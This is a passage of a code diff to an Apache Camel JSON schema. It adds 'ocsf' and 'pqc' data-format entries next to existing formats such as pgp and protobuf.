"#/items/definitions/org.apache.camel.model.dataformat.PQCDataFormat"
+ },
"protobuf" : {
"$ref" :
"#/items/definitions/org.apache.camel.model.dataformat.ProtobufDataFormat"
},
@@ -17574,10 +17580,14 @@
"required" : [ "lzf" ]
}, {
"required" : [ "mimeMultipart" ]
+ }, {
+ "required" : [ "ocsf" ]
}, {
"required" : [ "parquetAvro" ]
}, {
"required" : [ "pgp" ]
+ }, {
+ "required" : [ "pqc" ]
}, {
"required" : [ "protobuf" ]
}, {
@@ -17820,6 +17830,14 @@
"$ref" :
"#/items/definitions/org.apache.camel.model.dataformat.MimeMultipartDataFormat"
}
}
+ }, {
+ "type" : "object",
+ "required" : [ "ocsf" ],
+ "properties" : {
+ "ocsf" : {
+ "$ref" :
"#/items/definitions/org.apache.camel.model.dataformat.OcsfDataFormat"
+ }
+ }
}, {
"type" : "object",
"required" : [ "parquetAvro" ],
@@ -17836,6 +17854,14 @@
"$ref" :
"#/items/definitions/org.apache.camel.model.dataformat.PGPDataFormat"
}
}
+ }, {
+ "type" : "object",
+ "required" : [ "pqc" ],
+ "properties" : {
+ "pqc" : {
+ "$ref" :
"#/items/definitions/org.apache.camel.model.dataformat.PQCDataFormat"
+ }
+ }
}, {
"type" : "object",
"required" : [ "protobuf" ],
@@ -18014,8 +18040,10 @@
"jsonApi" : { },
"lzf" : { },
"mimeMultipart" : { },
+ "ocsf" : { },
"parquetAvro" : { },
"pgp" : { },
+ "pqc" : { },
"protobuf" : { },
"rss" : { },
"smooks" : { },